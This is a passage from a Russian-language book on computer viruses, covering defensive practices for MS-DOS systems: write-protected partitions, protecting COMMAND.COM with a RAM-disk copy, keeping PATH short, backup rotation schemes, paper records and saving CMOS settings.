Advanced Disk Manager, который не только позволяет разбить диск на
разделы, но  и организовать  доступ к ним с помощью паролей. Кроме
того, уровень  обеспечиваемой им защиты от записи выше, чем других
распространенных драйверов.
  Количество используемых  разделов и их содержимое зависят от ре-
шаемых задач и объема винчестера. Для 20M винчестера можно исполь-
зовать три-четыре раздела. При этом на логическом диске С, с кото-
рого выполняется загрузка, следует оставить лишь минимальное коли-
чество файлов  (AUTOEXEC. BAT,  COMMAND.COM,  CONFIG.SYS,  скрытые
системные файлы и программы-ловушки, контролирующие свою контроль-
ную сумму).   Остальную  часть винчестера  следует разбить на зону
трансляторов и  системных утилит  (также со  статусом READ ONLY) и
несколько разделов  для отдельных пользователей (групп пользовате-
лей) с  соответствующими ограничениями доступа. При этом для мини-
мизации движения  головок разделы  пользователей можно расположить
между  разделом С (MS DOS) и разделом с трансляторами и утилитами.

         10.2.4. Защита операционной системы от заражения

                                   "Если какая-нибудь неприятность
                                   может случиться, она случается"
                                                  Из законов Мерфи

  Важным профилактическим  средством в борьбе с файловыми вирусами
является "затруднение  им жизни" путем исключения значительной ча-
сти загрузочных  модулей из сферы их досягаемости. Этот метод, на-
зываемый сегментацией, был кратко рассмотрен в предыдущем разделе.
Однако применительно  к самой операционной системе сегментация на-
столько важна,  что на  ней стоит  остановиться отдельно. При пра-
вильном размещении операционной системы и ряда утилит можно гаран-
тировать, что  после начальной  загрузки операционной  системы она
еще не заражена резидентным файловым вирусом. Это создает настоль-
ко значительные  удобства и  преимущества, что для достижения этой
цели стоит  потратить время  и силы  на перекомпоновку винчестера,
если это еще вами не сделано. Первой задачей, которую нужно выпол-
нить при  "вирусобезопасной" постановке операционной системы - это
разместить ее  в защищенном  от записи  разделе (например, разделе
D).
  Следует отметить, что логический диск с операционной системой не
должен быть  слишком большим.  Туда следует  включать только  саму
операционную систему  и  некоторые  "стабильные"  утилиты  (Norton
Utilities, PC SHELL и т.д.). Вопрос о включении модулей транслято-
ров зависит  от вашей склонности часто переходить от версии к вер-
сии и  источников получения  новых версий: общий принцип состоит в
том, чтобы скомпоновать этот диск так, чтобы необходимость входить
в систему  с паролем,  обеспечивающем возможность  записи на  этот
диск, возникала  как можно реже. Кроме того, новые полученные ути-
литы нельзя включать в состав этого диска без предварительной тща-
тельной проверки и прохождения "карантинного" режима хотя бы в те-
чении месяца. Не стоит впадать из одной крайности в другую и стре-
миться "защитить все подряд" - это существенно затрудняет работу и
в большинстве  случаев сводит  на нет защиту из-за частой работы в
"открытом" режиме.  Оптимальное количество исполняемых файлов, за-
щищенных от  записи, вряд ли должно превышать 20-30% от общего ко-
личества файлов. В качестве критериев можно использовать целесооб-
разность подключения  соответствующего каталога  к PATH,  а  также
степень стабильности данного программного продукта.
  При обычном  размещении системных  программ и утилит на диске C,
помимо командного  процессора, одними  из первых обычно заражаются
файлы, входящие  в AUTOEXEC.BAT. Поэтому их тоже следует размещать
в разделе винчестера, имеющего статус READ ONLY. Иногда вирусы за-
ражают файлы  IBMBIO и  IBMCOM. Хотя  обычно при этом операционная
система теряет  работоспособность, здесь  есть нюанс,  состоящий в
том, что  не рекомендуется  (а с  помощью DM и нельзя) присваивать
диску С  статус READ ONLY. Поэтому эти файлы остаются незащенными,
и в  качестве первой операции AUTOEXEC.BAT следует предусматривать
подсчет их контрольной суммы.  Это можно сделать с помощью ревизо-
ра или специализированной программы (например, VACINE, см. СП 1-2)
или, наконец,  обычной программы  сравнения файлов,  входящей в MS
DOS (COMP  или FC).  В последнем случае копии следует разместить в
защищенном от  записи разделе.  При использовании  сторожа FluShot
Plus следует  обязательно вставить контрольные суммы для указанных
файлов в соответствующий файл.

         10.2.4.1. Стратегия защиты командного процессора
  Поскольку командный  процессор является  излюбленной мишенью для
атаки файловых вирусов, то нужно одновременно оставить его в каче-
стве "мишени"  и в то же время не допустить использования заражен-
ного командного процессора при перезагрузке системы. Очевидно, что
эти требования  выглядят как  взаимоисключающие. Однако  им  можно
удовлетворить, если "оригинал" командного процессора разместить на
защищенном от записи диске, а после начальной загрузки скопировать
его на  виртуальный диск и установить соответствующее значение пе-
ременной COMSPEC.  Для того,  чтобы командный процессор в процессе
начальной загрузки считывался из защищенного раздела в CONFIG.SYS,
следует включить строку вида:

  SHELL = D:\DOS\COMMAND.COM
  SHELL = D:\4DOS\4DOS.COM @C:\4DOS.DAT

  Последняя строка  предполагает  использование  "альтернативного"
командного процессора  4DOS (читается  - FOREDOS).  Этот командный
процессор особенно  удобен для  пользователей, работающих на PC AT
или PS/2,  и автор  рекомендует  индивидуализировать  операционную
систему путем  его использования  вместо стандартного  COMMAND.COM
(как известно,  имеется по меньшей мере один вирус  у Lehigh, ори-
ентированный на заражение именно стандартного COMMAND.COM). Коман-
дный процессор  4DOS (автор использует версию 3.0 от 7.03.90) раз-
работан  американской   фирмой  J.P.   Software  (P.O.  Box  1470,
E.Arlington, MA  02174 USA, (617) 646-3975) и распространяется как
Shareware. Он  более удобен  в работе,  поскольку имеет диалоговый
HELP по  всем командам  MS DOS и существенно расширенный командный
язык, значительно облегчающий программирование BAT-файлов. Кстати,
диалоговый HELP от 4DOS можно использовать и со стандартным коман-
дным процессором.  Как и COMMAND.COM, командный процессор 4DOS.COM
сегментирован и  состоит из  небольшой резидентной части 4DOS.COM,
размером около  11К (в  памяти остается всего 2.5K - меньше, чем у
резидентной части COMMAND.COM) и оверлея 4DOS.EXE или 4DOS286.EXE,
размером около  64К. Шансы, что специализированному вирусу удастся
заразить этот  командный процессор тем же методом, что и стандарт-
ный COMMAND.COM, сравнительно невелики.
  Вторым шагом  является запись командного процессора на виртуаль-
ный диск  и переназначение  переменной COMSPEC.  Для  стандартного
COMMAND.COM это  выполняется путем  включения  в  качестве  первых
строк AUTOEXEC.BAT двух следующих строк:

  set comspec=e:\command.com
  copy command.com e:

  В приведенных  строках предполагается, что логический диск E яв-
ляется виртуальным.  Использование виртуального диска для хранения
командного процессора  (в сочетании  с  заданием  соответствующего
значения параметра COMSPEC) не только превращает его в своего рода
дрозофилу, заражение  которой легко контролировать, а удаление ко-
торой с  диска обеспечивается  автоматически при  перезагрузке  MS
DOS, но  и ускоряет  работу  с  некоторыми  оболочками  (например,
Norton Commander). При этом целесообразно иметь специальную коман-
ду для периодического контролирования сравнения COMMAND.COM с эта-
лоном (автор  использует для этой цели специальную клавишу в поль-
зовательском меню  Norton Commander,  вызываемом нажатием функцио-
нальной клавиши  F2). В этом случае, если Вы во-время заметили из-
менение командного  процессора, то  не требуется выполнять его до-
полнительное удаление и замену - при   перегрузке с эталонной дис-
кеты он  будет удален автоматически и вы сможете начать поиск при-
чины заражения на заведомо "чистой" операционной системе.

           10.2.4.2. Использование каталога BAT-файлов
  Связывание длинной  цепочки каталогов по PATH, создает очевидные
удобства при работе. В то же время такое решение имеет и два суще-
ственных недостатка. Во-первых, замедляется поиск запускаемой про-
граммы, а  во-вторых, наличие  соответствующей строки PATH создает
файловым вирусам  идеальные условия для поиска исполняемых файлов.
Поэтому рекомендуется  компромиссное  решение:  указывать  в  PATH
только каталоги,  расположенные на защищенных от записи логических
дисках, а  также корневой  каталог и один дополнительный каталог с
BAT-файлами. В  последний удобно  занести файлы,  указывающие путь
для исполняемой программы, расположенной на незащищенных от записи
логических дисках. При этом для каждой часто используемой програм-
мы удобно  составить отдельный  BAT-файл, в котором обычно удается
предусмотреть некоторые  дополнительные удобства  в виде установки
каких-то типовых  режимов, сокращенного  набора групп параметров и
другой сервис,  уровень которого зависит от вашей собственной изо-
бретательности. Это  существенно упрощает и ускоряет процесс рабо-
ты, поскольку  типовые параметры  набирать не приходится, время на
просмотр длинной цепочки каталогов при поиске программы не теряет-
ся. В  то же  время, такое решение повышает безопасность, не давая
вирусам легко  и просто  извлекать путь  к жертвам  из PATH. Автор
много лет  проработал на ЕС ЭВМ, где использование библиотеки про-
цедур (SYS1.PROCLIB)  было стандартной  практикой, и  был удивлен,
перейдя на  персональные ЭВМ,  что здесь   этот  прием не является
стандартным.

                       10.3. Архивирование

                                "Инженер присел и отвернул кран,
                                чтобы смыть мыло. Кран захлебнулся
                                и стал медленно говорить что-то
                                неразборчивое. Вода не шла..."
                                                  И.Ильф, Е.Петров

  Пользователь компьютера, не имеющий "свежего" и надежного архива
содержимого своего  винчестера, находится  во власти  случая. Этот
случай может  подвернуться в  виде срабатывания  вируса, троянской
программы или в виде внезапного отключения электроэнергии или, на-
конец, в виде воды, которую забыли на ночь закрыть на верхнем эта-
же. Пользователь,  хранящий в компьютере ценную информацию, должен
быть всегда  настороже и как известный герой Ю.Семенова иметь "от-
ходной вариант" заранее. Единственным надежным методом защиты цен-
ной информации от превратностей судьбы является архивирование. При
наличии ежедневных  копий максимум,  что может  сделать вирус, это
уничтожить результаты последнего дня вашей работы.
  Состояние человека,  который в  одну секунду  потерял содержимое
винчестера трудно описать словами. Только что машина работала, все
файлы были на месте. А сейчас информация, на создание которой  бы-
ло потрачено  столько труда, исчезла и резервной копии вообще нет.
Это настоящее  крушение и по сравнению с ним ситуация, приведенная
в эпиграфе,  у просто  пустяк. И  винить, кроме самого себя, в ней
некого. А  ведь достаточно  было потратить полчаса, чтобы все было
иначе. Но поздно.
  Поэтому создание архива это далеко не та вещь, которую можно от-
ложить на потом. В сущности, это такая же часть работы пользовате-
ля, как  программирование или  ведение базы данных. Однако если по
вопросам программирования или базам данных написаны горы литерату-
ры, то  по вопросам архивирования практически нет и каждый пользо-
ватель создает  собственную систему.  Часто этой системой является
отсутствие таковой.  Ниже приводятся некоторые рекомендации, осно-
ванные на  личном (и приобретенном достаточно дорогой ценой) опыте
автора.

   10.3.1. Используйте программы резервирования FAT и главного
                     каталога в AUTOEXEC.BAT

                           "Посмотрите! Вот он без страховки идет"
                                                        В.Высоцкий

  Поскольку FAT  и главный каталог являются наиболее уязвимыми уп-
равляющими блоками  MS DOS необходимо предпринимать меры по их до-
полнительному резервированию.  Такую возможность  обеспечивает,  в
частности, программа Image из версии 5 утилит П.Нортона, вызов ко-
торой следует  вставить в  AUTOEXEC.BAT. Наряду  с Image можно ис-
пользовать более  старую программу  Mirror, входящую  в  пакет  PC
Shell. Она записывает копии указанных секторов в конец винчестера.
  Резервирование MBR,  бутсектора, FAT и каталогов важно не только
в плане  защиты от вирусов, но и как метод страховки на случай не-
предвиденного стечения  обстоятельств или  чьих-то (в том числе, и
собственных) действий. Периодически рекомендуется выгружать файлы,
создаваемые этими утилитами на специальную дискету из "горячей ко-
робки" (см.  ниже). Это особенно важно, если при сжатии диска ути-
литой Norton  Speed Disk  задан режим перенесения всех каталогов в
начало логического диска.

          10.3.2. Используйте систему "неделя-месяц-год"

  Если имеется возможность, то желательно иметь несколько комплек-
тов дискет для архива винчестера и вести циклическую запись на эти
комплекты (например, для трех комплектов можно использовать "клас-
сический" принцип  "неделя-месяц-год"). В  этом  случае  различают
главный архив, в котором хранится полный объем используемой инфор-
мации и  программного обеспечения, и текущие архивы, в которые за-
носятся только последние программные продукты и файлы. Текущих ар-
хивов может  быть несколько, в зависимости от периодичности их об-
новления. Главный архив целесообразно обновлять примерно раз в ме-
сяц, а текущие архивы у по крайней мере раз в неделю и раз в неде-
лю.
  Для создания главного архива рекомендуется использовать програм-
му FastBack Plus (версию 2.1 или более позднюю). Она позволяет вы-
грузить 20М  винчестер на  35 дискет по 360K или 12 дискет по 1.2M
примерно за  20 мин. Следует отметить, что если на машине установ-
лен дисковод 1.2M, то использование дискет 360K для создания архи-
ва неоправданно.  Рекомендуется использовать  как  минимум  формат
730K. Однако  по возможности используйте дискеты 1.2M, поскольку в
этом случае  создание архива выполняется значительно проще и быст-
рее, чем на дискетах 730K. С учетом отсутствия на большинстве оте-
чественных машин  стриммеров, рекомендуемый размер раздела винчес-
тера должен  соответствовать определенному количеству коробок дис-
кет архива.  Например, раздел 20M очень удобен при создании архива
на дискетах 1.2M, поскольку 12-14 дискет помещаются в одну коробку
и неудобен при создании архива на дискетах 730K (требуется пример-
но 18  дискет). После  создания главного архива рекомендуется про-
вести оптимизацию  винчестера, например,  с помощью  Norton  Speed
Disk из 5 версии утилит Нортона.
  Для создания  недельного архива рекомендуется использовать архи-
ватор PKZIP.  При этом каждый архив в главном каталоге диска реко-
мендуется сворачивать  в отдельный ZIP файл. Если размер ZIP файла
на дискете  превышает размер  дискеты, то его можно разбить на от-
дельные фрагменты  утилитами SPLITB  (СП 2-6), а затем записать на
несколько дискет.  При нехватке  дискет в  недельный архив следует
включать только каталоги, измененные за прошедшую неделю.
  И, наконец,  ежедневный архив включает все тексты, измененные за
рабочий день. Выключать компьютер, не сбросив измененные тексты на
дискету, не рекомендуется. Следует помнить, что винчестеры портят-
ся не  только от  вирусов. Вероятность того, что уйдя с работы се-
годня, завтра вы обнаружите, что информация на винчестере не чита-
ется, не равна нулю даже для самых лучших винчестеров, а тем более
для наиболее дешевых моделей, попадающих в нашу страну.
  Если какой-то  каталог на  винчестере используется лишь эпизоди-
чески или  только определенным пользователем, то после каждого ис-
пользования желательно все программы в нем сворачивать архиватором
типа PKARC,  поскольку заразить  программу, находящуюся  в архиве,
практически невозможно.
  Очень часто процесс архивирования сводят к выгрузке с винчестера
всех файлов. На самом деле архивированию подлежат и системные бло-
ки, в  частности MBR и бутсектор. Последние следует cкопировать на
дискету с  помощью программы  DiskTool 5  версии утилит П.Нортона.
Кроме того,  следует копировать на дискету FAT и главный каталог с
помощью утилиты  Mirror из  PC Shell  или Image из 5 версии утилит
П.Нортона. Эту  операцию следует  выполнять не  реже одного раза в
неделю, а  если предполагается  использование каких-то  новых про-
грамм, то при загрузке ЭВМ. Как и архиваторы, программы резервиро-
вания FAT  и каталогов  важны не только в плане защиты от вирусов,
но и как метод страховки на случай непредвиденного стечения обсто-
ятельств или чьих-то (в том числе, и собственных) действий. В осо-
бенности они  важны для  программистов, работающих  на ассемблере,
которые при отладке часто находятся буквально в шаге от разрушения
файловой системы.
  Поскольку дискеты  являются в  наших условиях  дефицитом, то при
архивировании информации ее целесообразно сжимать архиватором. Для
дискет   DS/DD наиболее подходящим форматом для записи архивов по-
видимому является формат 800K, который достаточно надежен и позво-
ляет вдвое  уменьшить  количество  используемых  дискет.  Наиболее
удобными архиваторами являются FASTBACK PLUS, PKZIP и LHARC.
  В условиях  дефицита дискет при использовании PKZIP и LHARC воз-
никает дополнительная  проблема оптимальной  комбинации архивов на
дискетах, чтобы  более полно  использовать емкость каждой дискеты.
Для этой  цели можно  дополнительно упаковывать  полученные архивы
утилитой BACKUP MS DOS или более удобной и имеющей графический ин-
терфейс утилитой  PC-BACKUP из  пакета PC SHELL (рекомендуется ис-
пользовать версии, начиная с 5.5). Если дискет не хватает для соз-
дания полной копии винчестера, то следует исключить из архивирова-
ния прежде всего большие пакеты (трансляторы, операционная система
и т.д.), для которых имеются дистрибутивные копии.

              10.3.3. В защиту "бумажной технологии"

                                    "То, что вы храните достаточно
                                     долго, можно выбросить. Как
                                     только Вы что-то выбросите,
                                     оно Вам понадобится"
                                                  Из законов Мерфи

  Наряду с  архивом на дискетах, следует вести часть архива на бу-
маге. Несмотря на отдельные заявления о наступлении эры "безбумаж-
ной технологии",  роль этого  старого доброго способа хранения ин-
формации сохраняется.  Бумага все еще остается дешевым, надежным и
удобным методом  долговременного хранения  информации, существенно
превосходя по надежности магнитные носители, а по удобству анализа
некоторых видов информации (например, дампов) - просмотр файлов на
дисплее. Кроме  того, наличие  рабочего журнала  является одним из
показателей уровня квалификации программиста.  Систематическое ве-
дение журнала позволяет быстрее и полнее осваивать новые системы и
избегать уже допущенных ранее ошибок.
  Необходимо систематически  подшивать в  специальную папку  копии
оглавлений, последние копии AUTOEXEC.BAT, CONFIG.SYS, список сбой-
ных секторов  винчестера (если  таковые имеются),  распечатки всех
оглавлений диска,  дампы бутсектора и FAT, замечания по работе ма-
шины, а  также протоколы  работы программы-ревизора.  Кроме  того,
справочник по  архиву дискет  также целесообразно иметь в распеча-
танном виде, поскольку если с машиной что-то случится, считать его
с винчестера  может оказаться достаточно трудной задачей. Полезно,
хотя и  несколько трудоемко,  вести отдельный архив распечаток ис-
ходных текстов  разрабатываемых программ,  в который подшивать все
распечатки версий  программ и другую аналогичную информацию. Нали-
чие такого  архива создает  ряд удобств  и является дополнительной
гарантией сохранности информации.

10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не
                              поздно

                               "Столб дыма уносит новости богу..."
                                                     Теофиль Готье

  Получив машину  типа AT, сразу же запишите параметры CMOS, уста-
новленные с  помощью процедуры  SETUP. Для этого достаточно нажать
комбинацию клавиш Ctrl-Alt-Esc. При этом на экран выдается таблица
параметров, записанных  в CMOS-памяти,  из которых наиболее важным
является тип  установленного винчестера. Эта таблица невелика и ее
содержимое легко  переписать на обычную самоклеящуюся этикетку для
дискеты, которую  необходимо сразу же прикрепить к лицевой стороне
корпуса компьютера.  После этого обязательно распечатайте содержи-
мое CMOS  на принтере.  Это проще  всего сделать с помощью утилиты
SYSINFO, из  версии 5  утилит П.Нортона. Один экземпляр распечатки
рекомендуется наклеить на папку с планом восстановления винчестера
(см. ниже),  а другой  у на последнюю страницу инструкции к данной
ЭВМ. Кроме  того необходимо  записать содержимое CMOS в файл с по-
мощью программы  DiskTool из 5 версии утилит П.Нортона, СMOSER (СП
9-90) или  SAVECMOS А.Водяника  (СП 2-3). Для некоторых типов BIOS
содержимое отдельных байтов CMOS не выдается на экран, однако важ-
но для правильной работы машины.
  Эти меры связаны с тем, что рано или поздно элемент, обеспечива-
ющий питание  CMOS-памяти,   выйдет из строя. Кроме того, известно
неcколько троянских  программ, которые  при запуске  портят  CMOS.
Иногда содержимое  CMOS уничтожается  из-за ошибки  в "нормальной"
программе. Хотя  элемент питания  рассчитан на несколько лет, опыт
показывает, что  средняя продолжительность  жизни CMOS  обычно  не
превышает нескольких  месяцев. Если  содержимое CMOS  потеряно, то
при отсутствии точных данных о типе установленного винчестера воз-
никает ряд  очень неприятных проблем, когда значение некоторых па-
раметров приходится  устанавливать экспериментально.  Это особенно
трудно, когда  на машине установлен нестандартный (например, трех-
дюймовый) винчестер.

  10.3.5. Переписывая программы, различайте эталонную и рабочую
                              копию

  Дистрибутивные эталонные версии рекомендуется хранить отдельно в
архивированном виде. Если дисковод обеспечивает формат 720К, то на
одну дискету  обычно входит три архивных "образа" 360К дискет. Но-
вая версия  архиватора PKARC (PKZIP) позволяет рекурсивно сворачи-
вать подкаталоги, тем самым делая рассматриваемый вид хранения бо-
лее привлекательным.  При работе  с Norton Commander рекомендуется
определить для файлов с расширениями ZIP, ARC, и LZH вызов архива-
тора в  режиме выдачи на экран справки с архива или вызов диалого-
вой оболочки для соответствующего  архиватора (SHEZ, NARC и др.).
  Передавая программы,  копируйте  дистрибутивные,  а  не  рабочие
копии. В нынешних условиях это  долг вежливости по отношению к то-
му, кому переписывается программное обеспечение. Храните справки с
дистрибутивной копии для сравнения.
  Переписывая программы, старайтесь копировать дистрибутивные вер-
сии, а не рабочие копии, хранящиеся на винчестере. Обязательно от-
печатайте справку с архива с контрольными суммами.
  Очень полезно  вести каталог  используемых программ на dBase или
какой-то аналогичной  системе. За  счет более  точной информации о
состоянии архива  можно значительно  уменьшить объем еженедельного
архивирования и, тем самым, сэкономить время и силы.

             10.4. Методика применения средств защиты

  Методика применения средств защиты предполагает их наличие и же-
лание ими  пользоваться. К  сожалению, часто  можно констатировать
отсутствие как  первого, так и второго из этих условий. Спектр от-
ношения пользователей к антивирусным программам колеблется от пол-
ного равнодушия  до страстного  коллекционирования. Однако наличие
антивирусных программ  является только необходимым условием. Важно
не только  иметь последние версии антивирусных программ, но и сис-
тематически ими  пользоваться. К новым антивирусным средствам, по-
лученным "обычным"  путем следует  относиться с  такой же осторож-
ностью, как и ко всем остальным